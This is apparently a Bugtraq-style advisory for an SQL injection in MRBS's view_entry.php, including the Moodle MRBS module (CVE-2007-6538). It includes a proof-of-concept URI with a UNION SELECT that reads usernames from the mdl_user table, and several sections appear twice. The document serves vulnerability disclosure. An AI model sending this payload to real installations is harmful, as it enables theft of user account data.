MRBS 'view_entry.php' SQL Injection Vulnerability
BID:26977
Info
MRBS 'view_entry.php' SQL Injection Vulnerability
| Bugtraq ID: | 26977 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-6538 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 21 2007 12:00AM |
| Updated: | May 07 2015 05:34PM |
| Credit: | [email protected] discovered this vulnerability. |
| Vulnerable: |
Meeting Room Booking Software MRBS 1.2.5 Meeting Room Booking Software MRBS 1.2.3 |
| Not Vulnerable: | |
Discussion
MRBS 'view_entry.php' SQL Injection Vulnerability
MRBS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue was previously documented as a vulnerability in Moodle. Further reports indicate this issue affects MRBS, and the MRBS module for Moodle.
MRBS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue was previously documented as a vulnerability in Moodle. Further reports indicate this issue affects MRBS, and the MRBS module for Moodle.
Exploit / POC
MRBS 'view_entry.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof-of-concept URI is available:
http://www.example.com/PATH/moodle/ing/blocks/mrbs/code/web/view_entry.php?id=2000%20UNION%20SELECT%20username,id,id,id,id,id,id,id,id,id,id,id%20FROM%20mdl_user%20WHERE%20id=[ID]&day=27&month=10&year=2007
Attackers can use a browser to exploit this issue.
The following proof-of-concept URI is available:
http://www.example.com/PATH/moodle/ing/blocks/mrbs/code/web/view_entry.php?id=2000%20UNION%20SELECT%20username,id,id,id,id,id,id,id,id,id,id,id%20FROM%20mdl_user%20WHERE%20id=[ID]&day=27&month=10&year=2007
Solution / Fix
MRBS 'view_entry.php' SQL Injection Vulnerability
Solution:
This issue has been addressed in the latest CVS repository.
Solution:
This issue has been addressed in the latest CVS repository.
References
MRBS 'view_entry.php' SQL Injection Vulnerability
References:
References: